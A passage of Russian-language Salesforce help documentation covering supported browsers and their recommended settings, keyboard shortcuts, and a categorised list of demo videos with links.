• Обозреватель Internet Explorer 11 не поддерживает консоль разработчика.

• Обозреватель Internet Explorer 11 неподдерживаетприложениеSalesforce CRM Call Center, разработанноепосредством
инструментария CTI Toolkit 4.0 или более поздней версии.

Рекомендации по настройке см. в разделе «Настройка обозревателя Internet Explorer» на странице 20.

Mozilla® Firefox® (последняя стабильная версия)
Компания Salesforceотслеживает выпускиновых версийобозревателя Firefox иприлагает все усилия дляихподдержки.
Рекомендации по настройке см. в разделе «Настройка обозревателя Firefox» на странице 21.

Google Chrome™ (последняя стабильная версия)
Chrome применяетобновленияавтоматически. КомпанияSalesforceприлагаетвсе усилиядлятестированияиподдержки
последней версии. Для работы в обозревателе Google Chrome не требуются дополнительные настройки.

Прим.: Поддерживается последняя стабильная версия Google Chromium™.

Apple® Safari® 8.x дляОС Mac OS X
Для работы в обозревателе Safari не требуются дополнительные настройки.

Safari не поддерживает компоненты ниже.

• Приложение Salesforce CRM Call Center, разработанное посредством инструментария CTI Toolkit ранее версии 4.0

• Salesforce Wave Analytics

Поддерживаемые обозреватели для Wave Analytics

Поддерживаютсяобозреватель Microsoft Internet Explorer 11 ипоследние стабильные версии Mozilla Firefox и Google Chrome.

Рекомендации и требования для всех обозревателей
• Независимо от того, какой обозреватель используется, рекомендуем включить JavaScript, файлы cookie и TLS 1,2. Если

TLS 1.2 недоступен, используйте TLS 1.1. Обозреватели, которыенеподдерживают TLS 1.1 или TLS 1.2, не смогутполучить
доступ к Salesforceпосле того, какрежим TLS 1.0 будетотключен. Такоеотключение запланированонапервыйивторой
квартал 2016 года.

• Поддержка всехфункций Salesforce гарантируется только при использовании разрешения экрана не менее 1 024 x 768
пикселей.При меньшем разрешении экрана некоторые функции Salesforce (например, конструктор отчетов или
редактор макетов страниц) могут отображаться неверно.

• При использовании обозревателя Apple Safari или Google Chrome с операционной системой Mac OS убедитесь, что
параметру системы «Показывать полосы прокрутки» задано значение <b>«Всегда»</b>.
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• Некоторыесторонниемодулиирасширениявеб-обозревателямогутпрепятствоватьнормальнойработеChatter. При
возникновении ошибок или несогласованного поведения Chatter рекомендуем отключить все модули и расширения
веб-обозревателя и повторить попытку.

Загрузка модулей для просмотра документации и курсов интерактивного обучения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рекомендуемзагрузитьмодули, необходимыедляпросмотра PDF-документацииикурсов
интерактивного обучения Salesforce.

• Adobe Reader: дляпросмотра PDF-документации. Чтобызагрузитьбесплатнуюкопию,
откройте страницу загрузки Adobe Reader.

• Macromedia Flash Player: для просмотра курсов интерактивного обучения. Чтобы
загрузить бесплатную копию, откройте страницу загрузки Adobe Flash Player.

Общие сведения о клавишах быстрого доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Клавишибыстрогодоступапозволяютповыситьэффективностьиспользованиясистемы
Salesforce.

Ниже перечислены клавиши быстрого доступа, поддерживаемые системой Salesforce
помимо стандартных клавиш, доступных в веб-обозревателе.

• Чтобы выделить элемент списка «Недавние элементы» на боковой панели, нажмите
клавишу ALT и любую цифру от 0 до 9. Например, чтобы выделить первый элемент
списка, нажмите клавиши ALT + 1; чтобы выделить второй элемент списка, нажмите
клавиши ALT + 2. Клавиши ALT + 0 соответствуют десятому элементу списка.

Прим.: Чтобыавтоматическиоткрытьвыделенныйэлементприиспользовании
обозревателя Mozilla® Firefox®, нажмите клавиши SHIFT + ALT и нужную цифру.
При использовании обозревателя Mozilla Firefox на компьютере Mac нажмите
клавишу CTRL и нужную цифру. Чтобы открыть выделенный элемент при
использовании обозревателя Microsoft® Internet Explorer®, нажмите клавишу ALT
и нужную цифру, а затем нажмите клавишу Enter.

• Чтобы открыть или закрыть боковую панель при использовании свертываемой боковой панели, нажмите клавиши
ALT + S. При открытии боковой панели посредством клавиш ALT + S курсор автоматически устанавливается в поле
поиска.
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Клавиши быстрого доступа к окнам компоновщика Lightning Experience

ВЕРСИИ

Доступно в Lightning
Experience

Доступно в версиях: в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Используйте клавиши быстрого доступа для эффективной работы с окнами
компоновщика Lightning Experience. Откройте окно компоновщика для создания задач,
примечаний, журналавызововимногогодругого. Клавишибыстрогодоступаупрощают
циклическиепереходымеждуполямивкомпоновщикеисоздаютсобственныйпринцип
работы с многочисленными окнами компоновщика, открытыми одновременно.

Помимостандартныхклавиш, доступныхввеб-обозревателе, система Lightning Experience
поддерживает эти удобные клавиши быстрого доступа во время использования окон
компоновщика.

• Alt+1: открывает раскрывающееся меню с любого места на странице

• Клавиши движения курсора вверх и вниз: перемещают по списку открытых окон
компоновщика в раскрывающемся меню

• Клавиши движения курсора влево и вправо: перемещаютмежду открытыми окнами
компоновщика

• Ввод (с заголовка окна компоновщика): смещает фокус на внутреннюю часть окна компоновщика

• Клавиша табуляции: совершает переходы между полями внутри окна компоновщика

• Клавиша выхода: смещает фокус с окна компоновщика на его заголовок

Настройка обозревателя Internet Explorer

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Рекомендуем использовать последнюю версию обозревателя Internet Explorer,
поддерживаемуюсистемойSalesforce. Крометого, рекомендуемустановитьвсеобновления
программного обеспечения Microsoft.

Чтобы увеличить производительность обозревателя Internet Explorer, настройте
перечисленные ниже параметры обозревателя в диалоговом окне «Свойства
обозревателя».

Вкладка «Общие»

1. Нажмите кнопку «Параметры» в разделе «История просмотра» на вкладке
«Общие».

2. Установите переключатель «автоматически» для параметра «Проверять наличие обновления сохраненных
страниц».

3. Введите значение не менее 50 Мб в поле «Используемое место на диске».

Вкладка «Безопасность»

1. Нажмите кнопку «Другой...» в разделе «Интернет» вкладки «Безопасность» и прокрутите до раздела «Сценарии».

2. Убедитесь, что параметр «Активные сценарии» включен. Данный параметр определяет наличие JavaScript.

Вкладка «Конфиденциальность»

1. Нажмите кнопку «Дополнительно» на вкладке «Конфиденциальность».

2. Установите флажок «Перекрыть автоматическую обработкуфайлов "cookie"».

3. Установите флажок «Всегда разрешать сеансовые "cookie"».

4. Установите переключатель «Принимать» в области «Сторонние "сookie"».
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Вкладка «Дополнительно»
Прокрутите до раздела «Безопасность» вкладки «Дополнительно» и выполните указанные ниже действия.

• Снимите флажок «Не сохранять зашифрованные страницы на диск».

• Установитефлажки «Использовать TLS 1.0», «Использовать TLS 1.1» и «Использовать TLS 1.2». Снимите
флажки «Использовать SSL 2.0» и «Использовать SSL 3.0». Система Salesforce больше не поддерживает
SSL. TLS 1.0 не будет поддерживаться после его отключения с нашей стороны, которое планируется на первый и
второй квартал 2016 года.

Совет: Чтобыудалять кэшпризакрытииобозревателя Internet Explorer, установитефлажок «Удалять все файлы
из папки временных файлов Интернета при закрытии обозревателя». Данный алгоритм повышает
конфиденциальность, но может снизить производительность.

СМ. ТАКЖЕ:

Поддерживаемые обозреватели

Настройка обозревателя Firefox

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Чтобы гарантировать оптимальную работу системы Salesforce в обозревателе Firefox,
рекомендуем настроить некоторые параметры обозревателя.

Компания Salesforceотслеживает выпускиновых версийобозревателя Firefox иприлагает
все усилия для их поддержки.

Обязательные параметры
Убедитесь, что обозреватель Firefox может принимать cookie-файлы.

1. Последовательно выберите пункты «Инструменты» > «Настройки».

2. Откройте панель «Приватность».

3. Выберите значение «будет использовать ваши настройки хранения истории» в параметре «Firefox:».

4. Установите флажок «Принимать куки с сайтов».

5. Установите флажок «Принимать куки со сторонних сайтов».

6. Выберите значение «до истечения срока их действия» в параметре «Сохранять куки:».

7. Нажмите кнопку «OK».

Дополнительные параметры
При необходимости настройте дополнительные параметры кэширования, позволяющие обеспечить максимальную
производительность.

1. Введите about:config в адресную строку обозревателя и нажмите клавишу Enter.

2. При отображении предупреждения нажмите кнопку «Я обещаю, что буду осторожен!».

3. Чтобызадатьрекомендованныезначения, найдитеуказанныенижепараметрыидваждыщелкнитеихимена. Изменения
вступают в силу незамедлительно.

4. Чтобы изменить способ сохранения общих ресурсов, используемый обозревателем в запросах, настройте указанные
ниже параметры кэширования.
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Значение по
умолчанию

Рекомендованное значениеПараметр

33browser.cache.check_doc_frequency

50,000не менее 50 000; чем больше значение, тем
больше используемое пространство жесткого
диска

browser.cache.disk.capacity

TrueTruebrowser.cache.disk.enable

FalseTruebrowser.cache.disk_cache_ssl

TrueTruebrowser.cache.memory.enable

TrueTruenetwork.http.use-cache

Прим.: Чтобы настроить некоторые параметры, последовательно выберите пункты «Инструменты» >
«Настройки» в обозревателе Firefox. Дополнительную информацию см. в справке Firefox.

Совет: Если параметру privacy.sanitize.sanitizeOnShutdown задано значение True, то удаление кэша выполняется при
закрытии обозревателя Firefox. Данный алгоритм повышает конфиденциальность, но может снизить
производительность.

Чтобыпросмотретьсодержимоекэша, введите about:cache в адреснуюстрокуобозревателяинажмитеклавишу
Enter.

Дополнительнуюинформациюоб этих и других параметрах см. в базе знаний MozillaZine и на начальной странице
службы поддержки Firefox.

СМ. ТАКЖЕ:

Поддерживаемые обозреватели

Полезные советы и руководства по внедрению
Кромеинтерактивной справки, компания Salesforceпредоставляет доступ к дополнительнымматериалам, позволяющим
повысить эффективность использования системы Salesforce. А именно: полезные советы, руководства по внедрению и
другие ресурсы, описывающие функции и возможности системы Salesforce.

Прим.:  PDF-файлы Adobe® могут быть просмотрены посредством приложения Adobe Reader®. Чтобы загрузить
последнюю версию приложения, воспользуйтесь следующей ссылкой:
www.adobe.com/products/acrobat/readstep2.html.

• Для всех пользователей

• Для специалистов по продажам

Демонстрационные видеоролики
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Добивайтесь большего в короткие сроки при помощи пошаговых руководств
Пошаговыеруководстваразъясняют, каквыполнитьтуилиинуюзадачуиликаквоспользоватьсякакой-либофункцией.
Компания Salesforce создаетпошаговыеруководства, позволяющиеповысить эффективностьиспользованиясистемы
Salesforce.

СМ. ТАКЖЕ:

Демонстрационные видеоролики

Для всех пользователей
Данные документы предназначены для всех пользователей Salesforce.

• Успешная работа с Salesforce

• Советы по использованию доставок содержимого

• Chatter Plus. Вопросы и ответы

Для специалистов по продажам
Ниже перечислены документы, предназначенные для специалистов по продажам.

Управление территориями предприятия
• Руководство по внедрениюфункции управления территориями предприятия

Управление организациями
• Образцы шаблонов стандартных писем (архивныйфайл)

Демонстрационные видеоролики
Компания Salesforce создает демонстрационные видеоролики, позволяющие повысить эффективность использования
системы Salesforce.

• Настройки пользователя

• Основные функции Salesforce

• Сообщество

• Продажи

• Услуга

• Аналитика

• Data.com

• Платформа и приложения

• Site.com

• Безопасность

• Salesforce Identity

• Импорт данных
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Настройки пользователя

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Изменение личных параметров в Salesforce

Данныйкороткийвидеороликсодержитрекомендациипоизменениюличных
параметров в системе Salesforce. Пользователи могут изменять вкладки,
отображаемые вверху страницы, макет и элементы отдельных страниц, а также
настраивать параметры электронной почты Chatter.

Помощь при входе в систему

Короткий видеоролик для пользователей, забывших пароль Salesforce.

Основные функции Salesforce

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Поиск в Salesforce Classic

Данный видеоролик знакомит с поисковымифункциями в Salesforce и Chatter,
дающими пользователям возможность быстро найти нужные файлы,
сообщения, записи и темы.

Search in Salesforce Lightning Experience

Данный видеоролик содержит инструкции по использованию поисковых
функций в Salesforce Lightning Experience и навигации по результатам поиска.

Использование поисковых функций

Не знаете, как найти нужные сведения об организации? Данный видеоролик
содержит полные сведения об использовании поисковых функций, включая
разбивку поисковых терминов и их сопоставление с поисковым индексом.

Порядок поиска по справке

Справочный портал содержит обширные сведения — от документации до
статей, видеороликовипрочихматериаловпоустранениюнеполадок. Данный
видеоролик содержит инструкции по настройке поиска и использованию
фильтров, чтобы пользователи всегда могли найти необходимые сведения.
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http://salesforce.vidyard.com/watch/lD50R32b4KbOl9ruM7Bdnw


Сообщество

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Советы по развертыванию Chatter

Сомнения относительно развертывания Chatter в организации? Данный
короткий видеоролик содержит рекомендации, позволяющие выполнять
развертывание на основе текущих бизнес-требований.

Сотрудничество в группах Chatter

ГруппыChatterподдерживаютпространствадлясотрудничества, отличающиеся
разнымиуровнямиконфиденциальностиипозволяющиеучастникамвыполнять
совместнуюработу, обмениватьсяресурсамиилиприглашатьклиентов. Данный
видеоролик содержит рекомендации по планированию групповой стратегии
организациииэффективномуиспользованиюлентыгруппы, функциипоиска,
файлов, объявлений, а также других полезных функций.

Поиск и систематизация с помощью тем Chatter

Рекомендуем использовать темы Chatter для просмотра текущих обсуждений,
систематизации перспективных диалогов и поиска людей или групп, которые
интересуютсяилиобладаютрасширеннымизнаниямиваналогичныхобластях.

Эффективное использование лент Chatter

Salesforce Chatter может использоваться для создания сообщений, опросов и
закладок, необходимых для эффективного сотрудничества внутри Chatter.
Данный видеоролик содержит рекомендации по публикации сообщений в
группе или ленте отслеживающих, добавлению сообщений в закладки и
созданию опросов для получения мгновенных результатов!

Расширение сообщений Chatter

Данный видеоролик содержит рекомендации по расширению сообщений
Chatter посредством @упоминаний и тем с хэштегами.

Начало работы с Salesforce Files Sync

Данный видеоролик содержит рекомендации по синхронизации компьютера
илимобильногоустройствас Salesforce, чтобыпользователивсегдаимелидоступ
к самым новым версиям файлов.

Настройка сообщества Salesforce

Вданномвидеороликедемонстрируется, какадминистраторSalesforceиспользует
сообщества Salesforce для обеспечения поддержки компании.
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http://salesforce.vidyard.com/watch/ZczOShy2tZnQK3ULHPTaWw
http://salesforce.vidyard.com/watch/0tWwggw5QWZt2MJjiGSs8A
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Продажи

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Lightning Experience: знакомство

Данный видеоролик демонстрирует все возможности Salesforce Lightning
Experience. В нем рассказывается о том, как получить доступ к личным
параметрам, где найти нужные элементы (например записи и приложения) и
как осуществлять навигацию по записям для нахождения сведений и общих
действий.

Использование задач в Lightning Experience для повышения эффективности
продаж

Вданномвидеороликерассказываетсяотрехэффективныхспособахуправления
задачами в Lightning Experience.

Эффективное выявление и преобразование перспективных интересов

Рабочее пространство интереса в Lightning Experience — это командный центр
поведениюработынадперспективнымиинтересами. Здесьпользовательможет
вестижурналы вызовов, создавать задачи, отправлять сообщения электронной
почты и осуществлять сотрудничество.

Работа с возможностями и управление ожидаемыми продажами

Этот видеоролик содержит инструкции по ведению работы над сделками и
управлению ожидаемыми продажами в Salesforce Lightning Experience.

Использование задач в мобильном приложении

Этот видеоролик содержитинструкциипоиспользованиюмастеранастройки
для начала работы в Salesforce.

Основы Salesforce: сокращение времени закрытия сделок

Этот видеоролик содержит сведения о стандартных объектах Salesforce,
используемых для хранения данных.

Использование задач в мобильном приложении

Благодаря приложению Salesforce1 для телефонов и планшетов пользователи
могут работать над задачами вне офиса.

Мобильный доступ к организациям и контактам

Данный видеоролик содержит рекомендации по использованию обычных и
мобильныхданныхвприложении Salesforce1, предназначенномдля телефонов
и планшетных компьютеров.

Разделение кредита на участников группы сбыта
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http://salesforce.vidyard.com/watch/TcBoXyRd1wutcc477-fPeA
http://salesforce.vidyard.com/watch/2pB-LC-4mafe7FCt-Mlftw
http://salesforce.vidyard.com/watch/UnzJB8EHIYL_ur_wxKRFZQ
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Данный видеоролик содержит рекомендации по добавлению долей дохода и
наложения в возможности.

Подключение социальных сетей к организациям, контактам и интересам

Данный видеоролик содержит рекомендации по получению более полного
представленияотекущихипотенциальныхклиентахпутемдобавлениясведений
из социальных сетей в организации, контакты и интересы Salesforce.

Редактирование параметров ролевой доступности группы категорий

Данныйвидеороликсодержитрекомендациипопредоставлениюролямдоступа
для просмотра информации (например, вопросы в сообществе ответов или
статьи в базе знаний) в соответствии с конкретными категориями данных.

Точное прогнозирование с помощью совместных прогнозов

Данный видеоролик содержит рекомендации по использованиюфункции
«Совместныепрогнозы» длядостижениязапланированныхпоказателейпродаж.

Пакетная отправка электронной почты

Данный демонстрационный видеоролик содержит рекомендации по
использованиюпакетнойотправки эл. почты в системе Salesforce для быстрого
взаимодействия с клиентами и отслеживания отправленных сообщений эл.
почты внутри приложения Salesforce.

Создание шаблонов сметы

Данный видеоролик содержит рекомендации по использованиюшаблонов
сметы для создания, предварительного просмотра и активациишаблонов
PDF-смет, отправляемых клиентам торговыми представителями.

Порядок объединения контактов в системе Salesforce

Данныйвидеороликсодержитрекомендациипообъединениюповторяющихся
записей контактов в системе Salesforce.

Порядок использования примечаний

Данный видеоролик содержит рекомендации по использованию
усовершенствованного инструмента Salesforce по имени «Примечания».

Порядок отслеживания вызовов, сообщений электронной почты и встреч

Данныйвидеороликсодержитрекомендациипоотслеживаниюразныхсобытий
(например, вызовы, сообщения электронной почты и встречи) в системе
Salesforce.

Объединение повторяющихся организаций: советы и рекомендации

27

Полезные советы и руководства по внедрениюОсновы Salesforce

http://salesforce.vidyard.com/watch/FZfHdKa6TuGog-JHzOlLDg
https://help.salesforce.com/setup/user/tutorial/category_visibility.htm
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http://salesforce.vidyard.com/watch/f9yyHqyoZ8Tw_EaJxoPqsw
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http://salesforce.vidyard.com/watch/EUvG4-gLTofRH36J5dZ9MA
http://salesforce.vidyard.com/watch/Mi5ijFfry7pSO5WH0xHOOg
http://salesforce.vidyard.com/watch/Yfv-H8yT7J6_keBGlQa31Q
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Средстводляобъединенияповторяющихсяорганизацийпозволяетобъединить
дубликаты, выбрав, какие при этом сохранить данные из каждой записи. Этот
видеоролик содержит инструкции по быстрому получению чистых, готовых
к использованию данных.

Видеоролики об Exchange Sync

Настройка Salesforce Exchange Sync в Office 365 с помощью указательного
интерфейса

Данный видеоролик содержит инструкции по настройке Exchange с помощью
указательного интерфейса.

Настройка Salesforce Exchange Sync в Exchange с помощью интерфейса
командной строки

Данныйвидеороликсодержитинструкциипонастройке Exchange 2010, Exchange
2013 и Office 365 (Exchange Online) с помощью интерфейса командной строки.

Видеоролики для приложения Salesforce for Outlook

Подготовкакинтеграцииприложения Microsoft® Outlook®исистемы Salesforce

Чтобы синхронизировать контакты, события и задачи между приложением
Microsoft® Outlook® и системой Salesforce, а также добавить сообщения эл. почты
исобытия в записи Salesforce, воспользуйтесьприложением Salesforce for Outlook.
Данный видеоролик содержит рекомендации по загрузке и установке данного
приложения.

Направления синхронизации

Данный видеоролик содержит рекомендации по просмотру параметров
направлениясинхронизациивприложенииSalesforce for Outlookиопределению
полномочий, необходимых для их изменения.

Использование боковой панели Salesforce для работы с записями в
приложении Microsoft® Outlook®

Данный видеоролик содержит рекомендации по использованию записей
Salesforce прямо в приложении Outlook. Кроме того, данный видеоролик
охватывает способы добавления сообщений эл. почты и событий Outlook в
выбранные записи Salesforce.

Услуга

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Стимулирование сотрудничества с помощью пространств идей
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http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Пространства идей позволяют приглашать участников сообщества к
публикацииидейпоконкретнымтемам. Опубликованныеидеимогутсодержать
возможные решения проблем или предложения по модернизации компании.

Общие сведения о консоли Salesforce

Данный видеоролик содержит рекомендации по использованию вкладок
консоли Salesforce для быстрого поиска и обновления записей.

Подготовка к настройке консоли Salesforce

Данный видеоролик содержит рекомендации по настройке консоли Service
Cloud для агентов службы поддержки.

Настройка функции управления правами

Данныйвидеороликсодержитрекомендациипонастройкефункцииуправления
правами. Даннаяфункцияпозволяетсотрудникамслужбыподдержкиопределять
клиентов, имеющихправонаполучениесоответствующейподдержки. Данный
видеоролик охватывает следующие понятия: контрольные точки, процессы
права, права и сервисные контракты.

Обновление процессов права с помощьюфункции управления версиями
права

Данный видеоролик содержит рекомендации по созданию новой версии
процессаправа, изменениюконтрольнойточкивновойверсиипроцессаправа
иприменениюновойверсиипроцессаправа кправуи связаннымобращениям.

Настройка категорий данных

Данный видеоролик содержит рекомендации по категоризации данных в
соответствии с текущими бизнес-требованиями.

Поддержка клиентов в социальных сетях

Данный видеоролик содержит рекомендации по организации поддержки
клиентов в социальных сетях.

Аналитика

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Созданиеприложения Sales Wave, часть 1: использованиемастеранастройки

Приложение Sales Wave Analytics — это аналитическое приложение,
позволяющее использовать возможности решения Wave Analytics в Sales Cloud.
Пользователи Salesforce могут с легкостью создавать, размещать и удалять
приложения Sales Wave. Данный видеоролик содержит полные инструкции.
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http://salesforce.vidyard.com/watch/47c2vGstNeZzqY18ELtkxQ
http://salesforce.vidyard.com/watch/Ki1BhOiiQAbhWmFg-x4uiQ
http://salesforce.vidyard.com/watch/ebG4lQpek4bQr3UeEHfGGg
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Созданиеприложения Sales Wave, часть 2: загрузкаплановпродажвформате
CSV и создание расписания для потока данных

Для отслеживания в приложении Sales Wave планов продаж для торговых
представителей Salesforce следует загрузить планы продаж в формате CSV и
создать расписание для потока данных, чтобы поддерживать актуальность
данных в приложении. Данный видеоролик содержит инструкции по
выполнению этих действий.

Советы по планированию отчетов

Данный видеоролик содержит рекомендации по планированию отчетов от
имени активного текущего пользователя, безопасной отправке отчетов в
непиковые часы работы и выбору правильных адресатов.

Принятие управляемых данными решений с помощью отчетов и панелей
мониторинга

Видеоролик содержит обзор функций отчетности и панелей мониторинга в
Lightning Experience. В нем показано, как извлекать сведения для поощрения
действий посредством данных Salesforce.

Общие сведения о панелях мониторинга

Данный демонстрационный видеоролик содержит рекомендации по
использованиюосновныхфункцийпанелеймониторинга (например, изменение
визуального представления, настройка параметров детализации и создание
динамическихпанелеймониторинга), позволяющихменеджерампопродажам
и участникам рабочих групп использовать одну панель мониторинга для
отслеживания индивидуальной или общей производительности.

Использование панелей для отображения точных данных

В данном видеоролике демонстрируется загрузка и настройка набора панелей
AppExchange дляотображениянужныхсведений. Будутрассмотреныследующие
действия, влияющие на отображение данных на панелях мониторинга:
назначение активного пользователя, создание фильтров панелей и проверка
отображения отчетов.

Общий доступ к папке аналитики

Предоставление общего доступа к папке позволяет пользователям работать с
панелями и отчетами и назначать друг другу необходимые права («Гость»,
«Редактор» или «Менеджер»).

Создание матричных отчетов

Данныйвидеороликсодержитрекомендациипобыстромусозданиюматричных
отчетов посредством конструктора отчетов.

Использование кросс-фильтров в отчетах
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Данный видеоролик содержит рекомендации по использованию
кросс-фильтровдляпоиска записейвотчете. Кросс-фильтрыпозволяютточно
настраивать отображаемые результаты путем включения или исключения
записей из связанных объектов без создания специальных формул или кода.

Начало работы с областями

Данный видеоролик содержит рекомендации по группированию данных без
созданиянастраиваемыхполей. Областипредназначеныдлябыстройиудобной
сортировки, систематизациии обработки больших объемов данных в системе
Salesforce. Системаподдерживаетсозданиенужныхкатегорийбезиспользования
формул и настраиваемых полей.

Начало работы с конструктором отчетов

Данныйвидеороликсодержитрекомендациипоиспользованиюконструктора
отчетов — полнофункционального графического редактора для создания
отчетов.

Составные отчеты в системе Salesforce

Данный видеоролик содержит рекомендации по использованию составных
отчетов для создания разных типов данных в одном отчете. Аспекты
использования составных отчетов рассматриваются на примере создания
открытыхизакрытыхвозможностей, атакжеактивныхобращенийпоподдержке.

Сокращение времени выполнения отчетов

Данный видеоролик содержит рекомендации по сокращению времени
выполнения отчетов путем удаления ненужных столбцов, настройки области
релевантныхданныхииспользованияэффективныхфильтровсоператорами.

Уведомления об отчетах

Данный видеоролик содержит рекомендации по подписке на отчеты для
получения регулярных уведомлений при выполнении указанных условий
определенными показателями.

Встраивание диаграмм в любом месте

Данныйвидеороликсодержитинструкцииподобавлениюдиаграммиграфиков
для организаций, контактов, страниц обращений и т. д. Salesforce позволяет
встраивать диаграммы на страницы сведений о записи, чтобы пользователи
могли быстро получать доступ к необходимой информации.
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Data.com

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

ПоискорганизацийиконтактовData.comиихдобавлениевсистемуSalesforce

Данный видеоролик содержит рекомендации по поиску организаций и
контактов Data.com, а также их последующему добавлениюв систему Salesforce.

Как настроить функцию очистки Data.com?

Данныйвидеоролик, предназначенныйдляадминистраторовSalesforce, содержит
рекомендации по настройке и обслуживаниюфункции очистки Data.com.

Выбор совпадения Data.com для записи организации Salesforce

Использование панели выбора отрасли Data.com

Данныйвидеороликсодержитрекомендациипоиспользованиюпанеливыбора
отрасли Data.com для быстрого перемещения по длинным спискам отраслей и
добавления отрасли в критерии поиска организаций или контактов.

Управление повторяющимися записями в системе Salesforce с помощью
правил обработки дубликатов

Данный видеоролик содержит инструкции по применениюфункции
управления повторами Data.com для обеспечения качества данных в Salesforce.
Внемдемонстрируетсясозданиеправилаобработки, позволяющегоопределять
условия и порядок сохранения записей, являющихся повторами.

Определение повторяющихся записей с помощью правил соответствия

Данный видеоролик содержит рекомендации по созданию правила
соответствия, позволяющего контролировать порядок определения
повторяющихся записей.

Общие сведения о правилах соответствия

Данныйвидеороликпозволяетпонятьпринципопределенияповторяющихся
записей посредством правил соответствия.

Платформа и приложения

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Порядок изменения внешнего вида системы Salesforce для компании

Данный короткий демонстрационный видеоролик содержит рекомендации
по настройке способа отображения системы Salesforce для организации.
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Создание бизнес-правила

Данный короткий демонстрационный видеоролик содержит рекомендации
по созданию бизнес-правил в системе Salesforce.

Общие сведения об облачной версии Flow Designer приложения Visual
Workflow

Данныйдемонстрационныйвидеороликсодержитобщиесведенияобоблачной
версии Flow Designer приложения Visual Workflow, используемой для создания
потоков. Благодаря облачной версии Flow Designer, пользователи Salesforce
могут настраивать страницы и задавать логику выполнения переходов без
создания специального кода.

Создание простого потока

Данный видеоролик содержит рекомендации по созданию простого
двухшагового потока посредством полей ввода и элементов выбора. Данный
поток позволяет собирать сведения о пользователях, выбирать уровень их
достатка и благодарить за пожертвования.

Устранение неполадок бизнес-правил

Данный видеоролик содержит рекомендации по анализу и устранению самых
распространенныхнеполадок, возникающихприиспользованиибизнес-правил.

Предотвращение нежелательных действий в процессе

Данный видеоролик содержит рекомендации по настройке параметров в
конструкторепроцессов, позволяющих, например, избегатьотправкибольшого
количества сообщений эл. почты вице-президенту компании при каждом
обновлении ценной возможности.

Доступ к полю электронной почты из объекта поиска

Хотитеиспользоватьполеизобъектапоискадлядочернегообъекта? Например,
поле эл. почты из объекта поиска в бизнес-правиле, которое основывается на
дочернем объекте? Данный видеоролик содержит подобный сценарий.

Создание настраиваемых кнопок и ссылок

Данный видеоролик содержит инструкции по созданию ссылки на объект
организации, которая выводит адрес организации на картах Yahoo.

Использование и создание списковых представлений

Нужно одновременно поработать с несколькими записями? Сортировать их в
алфавитном порядке или по количеству? Одновременно редактировать
несколько записей? Используйте списковые представления. Этот видеоролик
содержит инструкции для создания двух разных представлений.
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Использование меню быстрого доступа Force.com

Вместо меню настроек администраторы могут использовать контекстные
вкладки объектов для создания и просмотра полей или типов записей. Этот
видеоролик содержит инструкциипоиспользованиюменюбыстрого доступа
Force.com.

Особенности работы функции «Синхронизация организации»

Данныйвидеороликохватываетосновныесведенияовысоконадежнойфункции
«Синхронизация организации», позволяющей настраивать второстепенную
синхронизированную организацию Salesforce, доступную пользователям во
время простоя или обслуживания основной организации.

Демонстрационные ролики: настраиваемые поля

Порядок создания настраиваемого поля в системе Salesforce

Хотите настроить систему Salesforce для сбора всех важных бизнес-данных?
Данный короткий видеоролик содержит рекомендации по созданию поля
настраиваемогораскрывающегосясписка — отвыбораправильноготипаполя
до применения параметров безопасности поля.

Настраиваемые поля: раскрывающиеся списки

Этотвидеороликсодержитинструкциипосозданиюраскрывающегосясписка,
а такжедобавлениюновыхиудалениюстарыхзначений. Такжевнемсодержатся
инструкцииподобавлениюновыхзначенийвсоответствующиемакетыстраниц,
чтобы пользователи получали доступ только к применимым вариантам.

Настраиваемые поля: советы и рекомендации

Данный видеоролик содержит подробные сведения по созданию и удалению
полей, ограничениямиспользования, отслеживаниюжурналаполейидр. Также
в нем содержатся рекомендации по изменению типов полей и выбору
подходящего типа текстового поля.

Демонстрационные ролики: формулы

Начало работы с формулами

Данный видеоролик охватывает основные сведения о формулах Salesforce, а
также способы доступа к редактору формул в приложении и порядок
использования инструментов редактора для создания формул.

Порядок вычисления количества дней после открытия обращения

Данный видеоролик содержит рекомендации по созданиюформулы, которая
позволяет вычислять количество дней, затраченных на закрытие обращения,
или количество дней, прошедших после открытия обращения.

Порядок создания формулы изображения
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Данный видеоролик содержит рекомендации по созданиюформулы, которая
позволяет дополнять поле рейтинга записей интересов изображениями (от 1
до 5 звезд), определяющими степень их важности.

Формулы: советы и рекомендации

Формулы применяются в полях и отчетах и отличаются широкими
возможностями. Этот видеоролик содержит рекомендации по началу работы
с формулами и предотвращению распространенных ошибок.

Демонстрационные ролики: управление выпусками

Управление выпусками: общие сведения

Данныйвидеороликсодержитрекомендациипоиспользованиюинтерактивных
инструментов Force.com, безопаснойсредыразработчикаинаборовизменений
для управления выпусками в организации.

Управление выпусками: разработка и тестирование в безопасной среде

Данный видеоролик охватывает типы безопасных сред, поддерживаемые
системой Salesforce, и содержит рекомендации по созданию безопасных сред
для разработки и тестирования приложений.

Управление выпусками: развертывание изменений посредством наборов
изменений

